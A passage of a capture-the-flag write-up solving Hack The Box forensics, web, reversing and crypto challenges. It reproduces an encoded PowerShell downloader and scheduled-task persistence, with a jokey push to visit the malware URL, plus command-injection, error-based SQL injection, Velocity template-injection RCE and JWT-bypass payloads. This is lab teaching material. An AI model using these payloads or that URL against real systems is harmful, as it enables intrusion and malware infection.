MVLZZEXaiYxnXr4paESBd7S7kqQMujOq/n6jsr5eBfaDCRSXQMtNa1dLe3iGWvh7qabw+CXRiYtv1VHJNJidUuS5dbMYUK26hJJQJ9crfNBsoaekpIiFxGeZoDM9dIGHSWDHEUuptpB4SIXQZXwdKtL3TAQk/zm+6EXk6xVZEyI0fkymbSGz9fay/vvTLIQhFqVhNnPx30QiLOBtNvGDJzMjKuzngH8Vsv1VhYqKS/vCW2fN2knJRy9RuVyXDzft4FYQRfWCnyGXam+TmI6EKVzEgllOcRlfwit7elWhLgBAnJY/t8AMYHuZSdZE0l7t2MNtm4CRRIdUf9b2v0Z0rxEy7hWWJEkD42OdyVkP8oudjA6w9vqsUkCjKnKw5rXr5XKjzuBwziKeX7K2QkY9x8v5ptrlpO908OPzyPo27xUAY+YrxYubbEpwYyDbVmHETS3Yssgd9IYB1doA0QoI9bYzx1vDdiwtgjoNJlIEnYs=
3BQcww/tA6Mch9bMGZk8uuPzsNLBo8I5vfb3YfHJldljnkES0BVtObZlIkmaryDdqd0me6xCOs+XWWF+PMwNjQ==
zVmhuROwQw02oztmJNCvd2v8wXTNUWmU3zkKDpUBqUON+hKOocQYLG0pOhERLdHDS+yw3KU6RD9Y4LDBjgKeQnjml4XQMYhl6AFyjBOJpA4UEo2fALsqvbU4Doyb/gtg
FdbfR3mrvbcyK6+9WQcR5A==
bsi2k0APOcHI6TMDnO+dBg==
Q2zJpoA5nGWWiB2ec1v0aQ==
uib3VErvtueXl08f8u4nfQ==
uib3VErvtueXl08f8u4nfQ==
YdPbtpi8M11upjnkrlr/y5tLDKdQBiPWbkgDSKmFCWusn5GFkosc8AYU2M7C1+xEHdMgJ3is+7WW099YpCIArFhDNKRZxAM9GPawxOMI+w3/oimWm9Y/7pjGbcpXcC+2X1MTla0M2nvzsIKPtGeSku4npe8pPGS+fbxwXOkZ5kfZgaN33Nn+jW61VP49dslxvH47v97udYEHm8IO+f7OhCfzetKiulh3PN4tlzIB5I+PBdtDbOXnxHj+ygGW25xjyNh1Fbm2kweHL+qlFmPPtyapWYZMd85tPmRYBwevpvu9LO2tElYAcmFJwG8xc9lc9ca03ha2rIh3ioSNws9grVwFW3SjdcyqoGhcN8cr0FPgu2Q0OVKMdYprjRdEEeptdcBMybcYhHs9jcNKZu0R/pgiSbCPuONN67uF2Jw/9Ss=YdPbtpi8M11upjnkrlr/y5tLDKdQBiPWbkgDSKmFCWusn5GFkosc8AYU2M7C1+xEHdMgJ3is+7WW099YpCIArFhDNKRZxAM9GPawxOMI+w3/oimWm9Y/7pjGbcpXcC+2X1MTla0M2nvzsIKPtGeSku4npe8pPGS+fbxwXOkZ5kfZgaN33Nn+jW61VP49dslxvH47v97udYEHm8IO+f7OhCfzetKiulh3PN4tlzIB5I+PBdtDbOXnxHj+ygGW25xjyNh1Fbm2kweHL+qlFmPPtyapWYZMd85tPmRYBwevpvu9LO2tElYAcmFJwG8xc9lc9ca03ha2rIh3ioSNws9grVwFW3SjdcyqoGhcN8cr0FPgu2Q0OVKMdYprjRdEEeptdcBMybcYhHs9jcNKZu0R/pgiSbCPuONN67uF2Jw/9Ss=44.ghck5X9x6380mB3aBi+AY7QIEnzhNuF/pDMz9iWssDg=sTRnTjJH0S7yIPUVwWFsNxwMOMxdNiq9OXDRFrCwpPF2UhkfUF0Mw0/YGLpHMCfw
zz2ELWwzZYbeI1idIdhMwLyqZ6yatlXwAFOfNGy5QVg=

Each line was one command or the corresponding output, starting with getinfo-0 and infoback;0;10.10.10.22|SRV01|SRV01\svc01|Windows 10 Enterprise Evaluation|0.1.6.1. Going through them line by line, I eventually found two very interesting commands.

Here, the culprit added their own SSH public key to C:\Users\svc01.ssh\authorized_keys for persistent access. The comment at the end of the key is the first part of the flag: HTB{c0mmun1c4710n5

Here, the culprit stole the contents of C:\Users\svc01\Documents\credentials.txt. The content of that file includes the second part of the flag: _h45_b33n_r357

One part of the TCP stream was not encrypted:

powershell.exe -encoded "CgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwBpAG4AZABvAHcAcwBsAGkAdgBlAHUAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8AMQBuAF8ANwBoADMAXwBoADMANABkAHEAdQA0AHIANwAzAHIANQB9ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMACgA="
AcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8986ztFYX3Ksf2pHdywqpLg==

This was just base64 encoded:

Here, the culprit created a scheduled task to run a file called 4fva.exe daily. I highly recommend visiting https://windowsliveupdater.com/4fva.exe for educational purposes. The name of the task is the third part of the flag: 0r3d_1n_7h3_h34dqu4r73r5}

Adding all parts of the flag:

Flag: HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}


Web

[Very Easy] Flag Command

Embark on the “Dimensional Escape Quest” where you wake up in a mysterious forest maze that’s not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!

An IP address and a port were given. Opening those in a web browser started a text adventure.

In the source code, I quickly investigated the given JavaScript files including the main.js shown below.

import { START, INFO, INITIAL_OPTIONS, HELP } from "./commands.js";
import { playerLost, playerWon } from "./game.js";

let availableOptions;

let currentStep = 1;


// REDACTED FOR WRITE-UP

// HTTP REQUESTS
// ---------------------------------------
async function CheckMessage() {
    fetchingResponse = true;
    currentCommand = commandHistory[commandHistory.length - 1];

    if (availableOptions[currentStep].includes(currentCommand) || availableOptions['secret'].includes(currentCommand)) {
        await fetch('/api/monitor', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({ 'command': currentCommand })
        })
            .then((res) => res.json())
            .then(async (data) => {
                console.log(data)
                await displayLineInTerminal({ text: data.message });

                if(data.message.includes('Game over')) {
                    playerLost();
                    fetchingResponse = false;
                    return;
                }

                if(data.message.includes('HTB{')) {
                    playerWon();
                    fetchingResponse = false;

                    return;
                }

                if (currentCommand == 'HEAD NORTH') {
                    currentStep = '2';
                }
                else if (currentCommand == 'FOLLOW A MYSTERIOUS PATH') {
                    currentStep = '3'
                }
                else if (currentCommand == 'SET UP CAMP') {
                    currentStep = '4'
                }

                let lineBreak = document.createElement("br");


                beforeDiv.parentNode.insertBefore(lineBreak, beforeDiv);
                displayLineInTerminal({ text: '<span class="command">You have 4 options!</span>' })
                displayLinesInTerminal({ lines: availableOptions[currentStep] })
                fetchingResponse = false;
            });


    }
    else {
        displayLineInTerminal({ text: "You do realise its not a park where you can just play around and move around pick from options how are hard it is for you????" });
        fetchingResponse = false;
    }
}


// REDACTED FOR WRITE-UP

const fetchOptions = () => {
    fetch('/api/options')
        .then((data) => data.json())
        .then((res) => {
            availableOptions = res.allPossibleCommands;

        })
        .catch(() => {
            availableOptions = undefined;
        })
}

Line 17 shows that a query is made to /api/monitor when a secret command is entered, which may end up winning the game in line 38. Line 74 shows how to get all commands from /api/options. I used Postman to make the necessary requests.

The GET request to /api/options revealed the secret command: Blip-blop, in a pickle with a hiccup! Shmiggity-shmack

Sending that command to /api/monitor revealed the flag.

Flag: HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}


[Very Easy] TimeKORP

Are you ready to unravel the mysteries and expose the truth hidden within KROP’s digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.

An IP adress and port were given to open a website. For that website, the source code was also provided.

Inspecting the provided Dockerfile using Visual Studio Code, I realized the flag was hidden in the root directory at /flag. Other interesting files were the TimeController.php and TimeModel.php.

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}
<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

Normally, a user would query http://94.237.59.102:37978/?format=%H:%M:%S to get the current date of the server. However, since lines 6 and 11 of the TimeModel.php don’t sanitize the given format value before executing it, a command injection is possible.

After trying whoami first, I quickly got the flag using http://94.237.59.102:37978/?format=%w';cat /flag'.

Flag: HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}


[Very Easy] KORP Terminal

Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries’ privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.

For this challenge, an IP address and port were provided. Upon connecting, a simple login screen was shown.

This one was harder than it should’ve been. Since only a simple login form was seen on the website, I immediately tried some manual SQL injections using ' OR 1=1 -- (Response: “You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ”’ at line 1″) and ' OR 1=1 -- - (Response: “Invalid user or password”).

Since that looked promising, I tried SQLmap, which did not work for me. I then tried some other manual techniques, to either bypass the password or read some data from the database. Nothing really worked, so I tried Hydra and Burp Suite using the rockyou wordlist, but I think HackTheBox doesn’t like brute-force on their CTF, so the tools operated at an abysmal speed.

So I went back to trying to read data from the database. In this case, a username and password hash. Searching for a way to extract values form a MariaDB, I found this query: https://mariadb.com/kb/en/extractvalue/ and this tutorial: https://akimbocore.com/article/sql-injection-exploitation-error-based/

Using that and some trial and error, I slowly found my way through the database, exploiting the fact that the errors were returned to me. Some of my queries are below.

'and extractvalue('',@@version)-- -error: ‘.6-MariaDB’
'and extractvalue('',user())-- -error: ‘@localhost’
'and ExtractValue('',Concat(0,(SELECT table_name FROM information_schema.tables LIMIT 0,1)))-- -error: ‘ALL_PLUGINS’
'and extractvalue('',concat(0,(select username from users)))-- -error: ‘admin’
'and extractvalue('',concat(0,(select password from users)))-- -error: ‘$2b$12$OF1QqLVkMFUwJrl1J1YG9u…’
'and extractvalue('',concat(0,(select mid(password, 1, 100)password from users)))-- -error: ‘$2b$12$OF1QqLVkMFUwJrl1J1YG9u…’
'and extractvalue('',concat(0,(select mid(password, 25, 100)password from users)))-- -error: ‘YG9u6FdAQZa6ByxFt/CkS/2HW8GA5…’
'and extractvalue('',concat(0,(select mid(password, 35, 100)password from users)))-- -error: ‘Za6ByxFt/CkS/2HW8GA563yiv.’

Using those last queries got me the password hash: $2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.

I then used John the Ripper on my Windows host machine to crack it using the rockyou wordlist.

The valid credentials thus were admin:password123.

Flag: HTB{t3rm1n4l_cr4ck1ng_sh3n4nig4n5}


[Easy] Labyrinth Linguist

You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors, it is used for translating english to voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive.

An IP address and a port were provided, as well as the source code of the webserver. The website let the user enter any text and converted it using a unique font.

In the source code, the location of the flag was revealed in the Dockerfile to be at /flag.txt. The only interesting file was a Main.java file.


import java.io.*;
import java.util.HashMap;

import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.ParseException;

@Controller
@EnableAutoConfiguration
public class Main {

	@RequestMapping("/")
	@ResponseBody
	String index(@RequestParam(required = false, name = "text") String textString) {
		if (textString == null) {
			textString = "Example text";
		}

		String template = "";

        try {
            template = readFileToString("/app/src/main/resources/templates/index.html", textString);
        } catch (IOException e) {
            e.printStackTrace();
        }

		RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
		StringReader reader = new StringReader(template);

		org.apache.velocity.Template t = new org.apache.velocity.Template();
		t.setRuntimeServices(runtimeServices);
		try {

			t.setData(runtimeServices.parse(reader, "home"));
			t.initDocument();
			VelocityContext context = new VelocityContext();
			context.put("name", "World");

			StringWriter writer = new StringWriter();
			t.merge(context, writer);
			template = writer.toString();

		} catch (ParseException e) {
			e.printStackTrace();
		}

		return template;
	}

	public static String readFileToString(String filePath, String replacement) throws IOException {
        StringBuilder content = new StringBuilder();
        BufferedReader bufferedReader = null;

        try {
            bufferedReader = new BufferedReader(new FileReader(filePath));
            String line;
            
            while ((line = bufferedReader.readLine()) != null) {
                line = line.replace("TEXT", replacement);
                content.append(line);
                content.append("\n");
            }
        } finally {
            if (bufferedReader != null) {
                try {
                    bufferedReader.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }

        return content.toString();
    }

	public static void main(String[] args) throws Exception {
		System.getProperties().put("server.port", 1337);
		SpringApplication.run(Main.class, args);
	}
}

I didn’t know enough about the Spring Framework, so I straight up asked ChatGPT if this code had any vulnerabilities. ChatGPT’s answer:

Yes, the provided Java file is vulnerable to server-side template injection (SSTI) when used as a web server. This vulnerability arises from the use of Apache Velocity templates without proper input validation or sanitization.

Here are the main reasons why this code is vulnerable:

User-Controlled Input: The textString parameter obtained from the POST request is directly used in constructing the template without proper validation or sanitization. This means that an attacker can potentially inject arbitrary Velocity template code by manipulating the text parameter in the POST request.

Template Injection: The readFileToString method reads a template file (index.html) and replaces occurrences of the string “TEXT” with the provided replacement string. If an attacker supplies a payload containing Velocity template code, it will be injected into the template and executed on the server.

No Input Sanitization: There are no measures in place to sanitize or validate the input provided in the text parameter. As a result, an attacker can inject malicious code, leading to arbitrary code execution on the server.

ChatGPT

So I quickly googled for some example of a Velocity SSTI and found multiple websites explaining the vulnerability and how to exploit it. The one that helped me the most was this one: https://gosecure.github.io/template-injection-workshop/#6

I used Postman to make my requests.

In this example, a variable called $foo is set to have the value “bar”. In the server response, “bar” is printed. Naturally, I tried whoami first, using a complex payload taken from the above mentioned tutorial.

#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('whoami'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

This worked and returned root. When I tried cat /flag.txt, that didn’t work, so I did ls / first and realized the name of the flag was unique.

Accordingly, my payload to get the flag was:

#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('cat /flag78edd374d1.txt'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

Flag: HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}


[Medium] LockTalk

In “The Ransomware Dystopia,” LockTalk emerges as a beacon of resistance against the rampant chaos inflicted by ransomware groups. In a world plunged into turmoil by malicious cyber threats, LockTalk stands as a formidable force, dedicated to protecting society from the insidious grip of ransomware. Chosen participants, tasked with representing their districts, navigate a perilous landscape fraught with ethical quandaries and treacherous challenges orchestrated by LockTalk. Their journey intertwines with the organization’s mission to neutralize ransomware threats and restore order to a fractured world. As players confront internal struggles and external adversaries, their decisions shape the fate of not only themselves but also their fellow citizens, driving them to unravel the mysteries surrounding LockTalk and choose between succumbing to despair or standing resilient against the encroaching darkness.

In this challenge, an IP address and port were provided to access a website, and we also got the source code of the webserver.

In the source code, the four most interesting files were /config.py, /api/routes.py, /middleware/middleware.py, and haproxy.cfg.

The FLAG and JWT_SECRET_KEY were defined in /config.py.

from jwcrypto import jwk
import os

class Config:
    DEBUG = False
    FLAG = "HTB{f4k3_fl4g_f0r_t35t1ng}"
    JWT_SECRET_KEY = jwk.JWK.generate(kty='RSA', size=2048)

The logic and handling of the JWT tokens happend in routes.py and middleware.py.

from flask import jsonify, current_app
import python_jwt as jwt, datetime
import json
import os

from app.middleware.middleware import *
from . import api_blueprint

JSON_DIR = os.path.join(os.path.dirname(__file__), 'json')

@api_blueprint.route('/get_ticket', methods=['GET'])
def get_ticket():

    claims = {
        "role": "guest", 
        "user": "guest_user"
    }
    
    token = jwt.generate_jwt(claims, current_app.config.get('JWT_SECRET_KEY'), 'PS256', datetime.timedelta(minutes=60))
    return jsonify({'ticket: ': token})


@api_blueprint.route('/chat/<int:chat_id>', methods=['GET'])
@authorize_roles(['guest', 'administrator'])
def chat(chat_id):

    json_file_path = os.path.join(JSON_DIR, f"{chat_id}.json")

    if os.path.exists(json_file_path):
        with open(json_file_path, 'r') as f:
            chat_data = json.load(f)
        
        chat_id = chat_data.get('chat_id', None)
        
        return jsonify({'chat_id': chat_id, 'messages': chat_data['messages']})
    else:
        return jsonify({'error': 'Chat not found'}), 404


@api_blueprint.route('/flag', methods=['GET'])
@authorize_roles(['administrator'])
def flag():
    return jsonify({'message': current_app.config.get('FLAG')}), 200

The routes.py python script defines the behavior of the routes. For example, in line 19, tokens are generated. Line 41 shows how to get the flag: By being authorized as “administrator”. The check for that is in middleware.py.

from flask import request, jsonify, current_app
from functools import wraps
import python_jwt as jwt

def authorize_roles(roles):
    def decorator(func):
        @wraps(func)
        def wrapper(*args, **kwargs):
            token = request.headers.get('Authorization')

            if not token:
                return jsonify({'message': 'JWT token is missing or invalid.'}), 401

            try:
                token = jwt.verify_jwt(token, current_app.config.get('JWT_SECRET_KEY'), ['PS256'])
                user_role = token[1]['role']

                if user_role not in roles:
                    return jsonify({'message': f'{user_role} user does not have the required authorization to access the resource.'}), 403

                return func(*args, **kwargs)
            except Exception as e:
                return jsonify({'message': 'JWT token verification failed.', 'error': str(e)}), 401
        return wrapper
    return decorator

In line 15, the JWT token is verified.

By the looks of it, the JWT token probably had a vulnerability that was to exploited. Interestingly, just getting a token by clicking the button to generate a ticket was already not possible without exploiting a vulnerability. By just clicking the “Execute” button, the server responded with “Forbidden: Request forbidden by administrative rules.”. This was because in line 16 of haproxy.cfg, there was a check to deny requests made to /api/v1/get_ticket.

global
    daemon
    maxconn 256

defaults
    mode http

    timeout connect 5000ms
    timeout client 50000ms
    timeout server 50000ms

frontend haproxy
    bind 0.0.0.0:1337
    default_backend backend

    http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }
    
backend backend
    balance roundrobin
    server s1 0.0.0.0:5000 maxconn 32 check

I used postman to make my requests. I changed the URL a bit to bypass that HAProxy check.

By inserting a ./ into the URL, the same resource is requested, but the webserver does not realize we are actually requesting /api/v1/get_ticket, thus failing to do the check for that route.

Using https://jwt.io/, I took a look inside the generated token:

{
  "exp": 1710173359,
  "iat": 1710169759,
  "jti": "gsSMlg7jd01R3MmY902D-A",
  "nbf": 1710169759,
  "role": "guest",
  "user": "guest_user"
}

Apparently, I now had a token with role: guest. Using that token, I could read the chats, as line 24 of routes.py suggested.

The chats were a good read, very realistic, but ultimately worthless in solving the challenge.

To get the flag, I had to get the administrator role. When I looked through the code some more, I realized that for python_jwt, a specific version was set in the requirements.txt.

uwsgi
Flask
requests
python_jwt==3.3.3

It was odd to me that the version was included, so I googled for a CVE for that specific version and actually found one. The CVE-2022-39227 enables “Authentication Bypass by Spoofing”. A proof of concept for the CVE can be found here: https://github.com/user0x1337/CVE-2022-39227

I copied the PoC code and used it on the token with the guest role I already had.

I quickly confirmed the token using jwt.io.

Since it actually had the administrator role claim, I pasted the new token into the according form field and got the flag.

Flag: HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}


Reversing

[Very Easy] LootStash

A giant stash of powerful weapons and gear have been dropped into the arena – but there’s one item you have in mind. Can you filter through the stack to get to the one thing you really need?

A file called “stash” was given. I tried file and strings on it, but couldn’t find the flag, so I opened it with Mousepad and searched for “HTB{“.

Luckily, the flag was immediately present.

Flag: HTB{n33dl3_1n_a_l00t_stack}


[Very Easy] BoxCutter

You’ve received a supply of valuable food and medicine from a generous sponsor. There’s just one problem – the box is made of solid steel! Luckily, there’s a dumb automated defense robot which you may be able to trick into opening the box for you – it’s programmed to only attack things with the correct label.

This challenge provided a binary file called “cutter”. When executing it, it just told me “[X] Error: Box Not Found”.

Using strings and file didn’t help me much, so I decided to investigate the file using ghidra, and when that failed, I used edb-debugger.

In edb, I tried to reach a state where the “box would be found”, so I started by running the debugger. I have to admit, I don’t really understand all of edb, so much of trial and error was involved, but eventually it stopped close to where the box would be found inside the main function. When I then continued to “Step Into”, the flag slowly appeared in the RSP register.

After many steps through the loop, the flag was visible and written to different registers.

Flag: HTB{tr4c1ng_th3_c4ll5}


[Very Easy] PackedAway

To escape the arena’s latest trap, you’ll need to get into a secure vault – and quick! There’s a password prompt waiting for you in front of the door however – can you unpack the password quick and get to safety?

This challenge provided a binary file called “packed”. I used file and strings on it.

It looked like some part of the flag was already visible. Also, a hint was given: The file is packed with the UPX executable packer. So my idea was to just unpack it.

Using strings on the unpacked file revealed the flag.

Flag: HTB{unp4ck3d_th3_s3cr3t_0f_th3_p455w0rd}


Crypto

[Very Easy] Dynastic

You find yourself trapped inside a sealed gas chamber, and suddenly, the air is pierced by the sound of a distorted voice played through a pre-recorded tape. Through this eerie transmission, you discover that within the next 15 minutes, this very chamber will be inundated with lethal hydrogen cyanide. As the tape’s message concludes, a sudden mechanical whirring fills the chamber, followed by the ominous ticking of a clock. You realise that each beat is one step closer to death. Darkness envelops you, your right hand restrained by handcuffs, and the exit door is locked. Your situation deteriorates as you realise that both the door and the handcuffs demand the same passcode to unlock. Panic is a luxury you cannot afford; swift action is imperative. As you explore your surroundings, your trembling fingers encounter a torch. Instantly, upon flipping the switch, the chamber is bathed in a dim glow, unveiling cryptic letters etched into the walls and a disturbing image of a Roman emperor drawn in blood. Decrypting the letters will provide you the key required to unlock the locks. Use the torch wisely as its battery is almost drained out!

An output.txt and a source.py file were given. The output.txt contained the following text.

Make sure you wrap the decrypted text with the HTB flag format :-]
DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL

The source.py contained the following python script.

from secret import FLAG
from random import randint

def to_identity_map(a):
    return ord(a) - 0x41

def from_identity_map(a):
    return chr(a % 26 + 0x41)

def encrypt(m):
    c = ''
    for i in range(len(m)):
        ch = m[i]
        if not ch.isalpha():
            ech = ch
        else:
            chi = to_identity_map(ch)
            ech = from_identity_map(chi + i)
        c += ech
    return c

with open('output.txt', 'w') as f:
    f.write('Make sure you wrap the decrypted text with the HTB flag format :-]\n')
    f.write(encrypt(FLAG))

The script iterates over all characters (line 12), checks if a character is alphabetic (line 14) and if so, changes it by moving it a few indices along the alphabet based on the identity maps given in lines 4 and 7. Like a Caesar cipher but with varying shifts (line 18, +i).

To reverse the encryption, I used this script:

def to_identity_map(a):
    return ord(a) - 0x41

def from_identity_map(a):
    return chr(a % 26 + 0x41)

def decrypt(ciphertext):
    m = ''
    for i in range(len(ciphertext)):
        ch = ciphertext[i]
        if not ch.isalpha():
            m += ch
        else:
            chi = to_identity_map(ch)
            m += from_identity_map(chi - i)
    return m

ciphertext = "DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL"

original_flag = decrypt(ciphertext)

print("Flag:", original_flag)

Notice how on line 15, the shift is basically reversed (-i).

Flag: HTB{DID_YOU_KNOW_ABOUT_THE_TRITHEMIUS_CIPHER?!_IT_IS_SIMILAR_TO_CAESAR_CIPHER}


[Very Easy] Makeshift

Weak and starved, you struggle to plod on. Food is a commodity at this stage, but you can’t lose your alertness – to do so would spell death. You realise that to survive you will need a weapon, both to kill and to hunt, but the field is bare of stones. As you drop your body to the floor, something sharp sticks out of the undergrowth and into your thigh. As you grab a hold and pull it out, you realise it’s a long stick; not the finest of weapons, but once sharpened could be the difference between dying of hunger and dying with honour in combat.

Again, an output.txt and a source.py file were given. The output.txt contained just !?}De!e3d_5n_nipaOw_3eTR3bt4{_THB and the source.py looked like this:

from secret import FLAG

flag = FLAG[::-1]
new_flag = ''

for i in range(0, len(flag), 3):
    new_flag += flag[i+1]
    new_flag += flag[i+2]
    new_flag += flag[i]

print(new_flag)

Basically, the flag is reversed (line 3) and then chunks of three characters are scrambled. Using the same code on ABCDEFGHIJKLMNOPQRSTUVWXYZ1 results in ZY1WVXTSUQPRNMOKJLHGIEDFBAC.

To reverse this, I used this code:

flag = "!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB"

flag = flag[::-1]
new_flag = ''

for i in range(0, len(flag), 3):
    new_flag += flag[i+1]
    new_flag += flag[i+2]
    new_flag += flag[i]

print(new_flag)

Which is quite literally the same script…

Flag: HTB{4_b3tTeR_w3apOn_i5_n3edeD!?!}


[Very Easy] Primary Knowledge

Surrounded by an untamed forest and the serene waters of the Primus river, your sole objective is surviving for 24 hours. Yet, survival is far from guaranteed as the area is full of Rattlesnakes, Spiders and Alligators and the weather fluctuates unpredictably, shifting from scorching heat to torrential downpours with each passing hour. Threat is compounded by the existence of a virtual circle which shrinks every minute that passes. Anything caught beyond its bounds, is consumed by flames, leaving only ashes in its wake. As the time sleeps away, you need to prioritise your actions secure your surviving tools. Every decision becomes a matter of life and death. Will you focus on securing a shelter to sleep, protect yourself against the dangers of the wilderness, or seek out means of navigating the Primus’ waters?

Again, an output.txt and a source.py were given.

n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215
import math
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG

m = bytes_to_long(FLAG)

n = math.prod([getPrime(1024) for _ in range(2**0)])
e = 0x10001
c = pow(m, e, n)

with open('output.txt', 'w') as f:
    f.write(f'{n = }\n')
    f.write(f'{e = }\n')
    f.write(f'{c = }\n')

